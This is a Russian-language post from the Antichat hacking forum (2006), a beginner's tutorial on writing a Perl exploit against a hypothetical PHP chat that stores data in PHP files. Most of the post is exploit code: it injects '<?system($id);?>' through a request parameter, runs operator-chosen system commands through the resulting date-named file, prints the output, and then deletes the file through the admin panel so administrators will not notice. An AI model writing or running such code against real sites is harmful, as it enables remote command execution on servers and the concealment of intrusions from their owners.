ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Сплоит на Perle!
  #1  
Старый 10.12.2006, 20:42
Аватар для Lancellot
Lancellot
Участник форума
Регистрация: 09.08.2006
Сообщений: 157
Провел на форуме:
1583810

Репутация: 56
По умолчанию Сплоит на Perle!

Многие начинающие так сказать хакеры начиная постепенно изучать теорию взлома доходят до сплоитов имхо взлом без сплоитов ето не взлом-мое сугубо личное мнение и не подлежит обяснению! И так.... сплоиты пишут на многих языках прогаммирования ,но мы россмотрим язык Perl .
Я задел ету тему потому что большое количество новичков
сталкиваются с проблемой (скачал сплоит .а он не работает) ИМХО в нем допущены СПЕЦИАЛЬНО ошибки от киддисов!
Сплоит написаный на Perle отличается от других строчкой в начале #!/usr/bin/perl!Для того чтобы понять их ошибки и принцип работы попробуем самим написать простенький эксплоит.
Будем писать на примере какого нить форума (чата) считая что он не использует БД и вся инфа о пользователях хранится в открытом виде но в PHP формате.
Для того чтобы писать сплоит надо знать что он будет делать (эксплуатировать уязвимость) будем считать что вы нашли баг в форуме (чате)!И сплоит будет:
- вывод запроса на ввод урла сайта и каталога чата;
- коннект к этому адресу;
- запрос на ввод системной команды;
- передача файлу null.php этой команды;
- запуск файла /data/dd.mm.gggg.php с выбранной командой, и считывание ответа;
- удаление файла /data/dd.mm.gggg.php.

Етот пример сплоита показывает уязвимость что в PHP файл можно записатьлюбые даные .Ну вперед..........
1 строчка во всех Perl скриптах одинаковая , вовремя отладки желательно к ней добавлять еще и (-w) тогда перл будет сигнализировать о всех допущенных ошибках.
Код:
#!/usr/bin/perl -w
После етого идет поключение в скрипт нужных библиотек в нашем случае ето работа с сокетами
Код:
use IO::Socket;
Для вывода запроса на ввод урла и каталога будем использовать команду print, правда некоторые сплойты использует другой способ передачи данных скрипту используя переменную $ARGV, объясню как она работает:
В этом случае переменные передаются скрипту через пробел и заносятся в массив, к примеру если передать
Код:
perl script.pl x1 x2 x3
то $ARGV[0] будет равно x1, $ARGV[1]=x2 ,a $ARGV[2]=x3
К примеру код уязвимости
Код:
print "Adress of site(www.site.com): ";
$url=<STDIN>;
print "Catalog(chat): ";
$dir=<STDIN>;
chomp $url;
chomp $dir;
команда print тока выводит на экран строчку, <STDIN> - это запрос на ввод текста, который в нашем случае затем присваивается переменной. Команда chomp служит для удаления из переменной символов переноса строки.
Добавляем к переданному урлу http://
Код:
$url =~ s/(http:\/\/)//eg;
Теперь конектимся к требуемому адресу, тут все понятно
Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Connect ok ]--\n";
Передаем через команду print урлу строчку, которая запускает null.php .
Код:
$file="/$dir/null.php?h=1&col=<?system(\$id);?>";
print $connect "GET $file HTTP/1.0\r\n\r\n";
Вывод запроса на ввод системной команды и сохранение его в переменной $sys
Код:
print "System command(ls -la):";
$sys=<STDIN>;
chomp $sys;
Вычисление текущей даты, понадобится для определения в какой файл записался наш кусок кода
Код:
@date=localtime;
$day=$date[3];
$mon="$date[4]"+1;
$year="$date[5]"+1900;
$dt="$day.$mon.$year";
Коннект, и запуск файла с нашим кодом
Код:
$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
$file2="/$dir/data/$dt.php?id=$sys";

print $connect "GET $file2 HTTP/1.0\r\n\r\n";
Считывание результата выведенного на экран, в результате выполнения нашей системной команды
Код:
print "--[ Resultat ]--\n";
while ($answer = <$connect>)
{
print $answer;
}
Теперь чтобы наш файл не бросался в глаза админам, мы его удаляем, через админку
Код:
$file3="/$dir/report.php?status=admin&del=$dt";

$connect=IO::Socket::INET->new( Proto=>"tcp", PeerAddr=>"$url", PeerPort=>"80") || die "--[ Connect failed]--\n";
print "--[ Delete file /$dir/data/$dt.php ]--\n";

print $connect "GET $file3 HTTP/1.0\r\n\r\n";
Теперь копируем в файл все строчки кода
в той же очередности и сохраняем с росширением .pl
Все сплоит готов!
Для запуска сплоита понадобится Perl интерпритатор.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
ibp 2.1.6 трабла: перл или сплоит? nightmare007 Форумы 2 29.10.2006 12:40
Сплоит LoFFi PHP, PERL, MySQL, JavaScript 11 09.09.2006 17:50
Срочно! Сплоит! LoFFi PHP, PERL, MySQL, JavaScript 6 11.05.2006 21:46



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ